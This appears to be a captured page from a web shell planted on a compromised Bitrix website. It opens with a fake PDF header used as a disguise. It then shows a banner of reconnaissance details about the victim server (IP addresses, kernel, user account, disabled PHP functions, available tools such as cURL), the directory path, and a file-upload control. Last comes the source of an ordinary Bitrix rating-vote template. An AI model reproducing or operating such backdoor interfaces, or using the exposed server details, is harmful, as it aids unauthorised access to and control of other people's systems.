%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 13.59.232.9 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rating.vote/templates/standart/ |
Upload File : |
<? if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); ?> <span id="rating-vote-<?=htmlspecialcharsbx($arResult['VOTE_ID'])?>" class="rating-vote <?=($arResult['VOTE_AVAILABLE'] == 'N' ? 'rating-vote-disabled' : '')?>" title="<?=($arResult['VOTE_AVAILABLE'] == 'N'? htmlspecialcharsbx($arResult['ALLOW_VOTE']['ERROR_MSG']) : '')?>"> <span id="rating-vote-<?=htmlspecialcharsbx($arResult['VOTE_ID'])?>-result" class="rating-vote-result rating-vote-result-<?=($arResult['TOTAL_VALUE'] < 0 ? 'minus' : 'plus')?>" title="<?=htmlspecialcharsbx($arResult['VOTE_TITLE'])?>"> <?=htmlspecialcharsbx($arResult['TOTAL_VALUE'])?></span> <a id="rating-vote-<?=htmlspecialcharsbx($arResult['VOTE_ID'])?>-plus" class="rating-vote-plus <?=($arResult['VOTE_BUTTON'] == 'PLUS'? 'rating-vote-plus-active': '')?>" title="<?=$arResult['VOTE_AVAILABLE'] == 'N'? '' : ($arResult['VOTE_BUTTON'] == 'PLUS'? GetMessage("RATING_COMPONENT_CANCEL"): GetMessage("RATING_COMPONENT_PLUS"))?>"></a> <a id="rating-vote-<?=htmlspecialcharsbx($arResult['VOTE_ID'])?>-minus" class="rating-vote-minus <?=($arResult['VOTE_BUTTON'] == 'MINUS'? 'rating-vote-minus-active': '')?>" title="<?=$arResult['VOTE_AVAILABLE'] == 'N'? '' : ($arResult['VOTE_BUTTON'] == 'MINUS'? GetMessage("RATING_COMPONENT_CANCEL"): GetMessage("RATING_COMPONENT_MINUS"))?>"></a> </span> <script type="text/javascript"> BX.ready(function(){ <?if ($arResult['AJAX_MODE'] == 'Y'):?> BX.loadCSS('/bitrix/components/bitrix/rating.vote/templates/standart/style.css'); BX.loadScript('/bitrix/js/main/rating.js', function() { <?endif;?> if (!window.Rating && top.Rating) Rating = top.Rating; Rating.Set( '<?=CUtil::JSEscape($arResult['VOTE_ID'])?>', '<?=CUtil::JSEscape($arResult['ENTITY_TYPE_ID'])?>', '<?=intval($arResult['ENTITY_ID'])?>', '<?=CUtil::JSEscape($arResult['VOTE_AVAILABLE'])?>', '<?=$USER->GetId()?>', {'PLUS' : '<?=GetMessageJS("RATING_COMPONENT_PLUS")?>', 'MINUS' : '<?=GetMessageJS("RATING_COMPONENT_MINUS")?>', 'CANCEL' : '<?=GetMessageJS("RATING_COMPONENT_CANCEL")?>'}, 'standart', '<?=CUtil::JSEscape($arResult['PATH_TO_USER_PROFILE'])?>' ); <?if ($arResult['AJAX_MODE'] == 'Y'):?> }); <?endif;?> }); </script>